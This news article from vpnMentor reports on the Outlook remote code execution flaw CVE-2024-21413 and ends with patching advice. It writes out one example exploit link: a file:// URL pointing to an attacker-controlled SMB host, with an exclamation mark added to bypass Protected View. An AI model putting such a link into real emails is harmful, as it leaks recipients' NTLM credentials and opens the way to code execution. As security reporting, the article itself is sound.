We review vendors based on rigorous testing and research but also take into account your feedback and our affiliate commission with providers. Some providers are owned by our parent company.
Learn more
vpnMentor was established in 2014 as an independent site reviewing VPN services and covering privacy-related stories. Today, our team of hundreds of cybersecurity researchers, writers, and editors continues to help readers fight for their online freedom in partnership with Kape Technologies PLC, which also owns the following products: ExpressVPN, CyberGhost, and Private Internet Access which may be ranked and reviewed on this website. The reviews published on vpnMentor are believed to be accurate as of the date of each article, and written according to our strict reviewing standards that prioritize the independent, professional and honest examination of the reviewer, taking into account the technical capabilities and qualities of the product together with its commercial value for users. The rankings and reviews we publish may also take into consideration the common ownership mentioned above, and affiliate commissions we earn for purchases through links on our website. We do not review all VPN providers and information is believed to be accurate as of the date of each article.
Advertising Disclosure

vpnMentor was established in 2014 as an independent site reviewing VPN services and covering privacy-related stories. Today, our team of hundreds of cybersecurity researchers, writers, and editors continues to help readers fight for their online freedom in partnership with Kape Technologies PLC, which also owns the following products: ExpressVPN, CyberGhost, and Private Internet Access which may be ranked and reviewed on this website. The reviews published on vpnMentor are believed to be accurate as of the date of each article, and written according to our strict reviewing standards that prioritize the independent, professional and honest examination of the reviewer, taking into account the technical capabilities and qualities of the product together with its commercial value for users. The rankings and reviews we publish may also take into consideration the common ownership mentioned above, and affiliate commissions we earn for purchases through links on our website. We do not review all VPN providers and information is believed to be accurate as of the date of each article.

Newly Discovered Outlook Flaw Is Trivial to Exploit

Newly Discovered Outlook Flaw Is Trivial to Exploit
Hendrik Human Published on 16th February 2024 Cybersecurity Researcher

A newly discovered critical vulnerability in Microsoft Outlook, CVE-2024-21413, poses a significant threat to users by enabling remote code execution (RCE) through emails with malicious links. This flaw, identified by Check Point researcher Haifei Li, allows threat actors to bypass built-in Microsoft user protections and has likely existed in the wild for at least a decade.

The vulnerability exploits a flaw in the handling of hyperlinks in Outlook emails. Attackers can send emails with hyperlinks that, when clicked, connect to a server they control without triggering Protected View—a feature designed to safeguard users by opening files in a restricted read-only mode.

They do this by altering the file protocol code for a link, inserting an exclamation mark together with some random text after the document extension. For example, a malicious link could be formatted as file:///\\10.10.111.111\test\test.rtf!something">CLICK ME*.

When done correctly, “An attacker could craft a malicious link that bypasses the Protected View Protocol, which leads to the leaking of local NTLM credential information and remote code execution,” as stated by Microsoft.

The low sophistication of the exploit, combined with its potential for high-impact attacks, is what makes it such an immediate concern. In its official notice, Microsoft explains that “An attacker who successfully exploited this vulnerability could gain high privileges, which include read, write, and delete functionality." Consequently, the exploit has a “critical” CVSS score of 9.8/10.

However, Microsoft has recently updated its Exploitation Assessment from “Active Exploitation” to “Exploitation Unlikely”. That being said, users running Outlook are still advised to install the latest security update immediately. At the same time, users should always be cautious of unsolicited emails containing links or attachments.

The security flaw also impacts several other Office products, including Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise, and Microsoft Office 2016 and 2019. These versions are also susceptible to attacks that could lead to unauthorized data access, information theft, and remote code execution. Security updates are available to install for these products as well.

This isn’t the first time Microsoft has left themselves open to exploitation. In September 2023, its AI team mistakenly leaked 38TB of company data via an incorrectly configured link to an Azure bucket of training data. In the same year, a Microsoft Teams vulnerability allowed hackers to freely send malicious links — not too dissimilar to this Outlook exploit.

About the Author

Hendrik is a writer at vpnMentor, specializing in VPN comparisons and user guides. With 5+ years of experience as a tech and cybersecurity writer, plus a background in corporate IT, he brings a variety of perspectives to test VPN services and analyze how they address the needs of different users.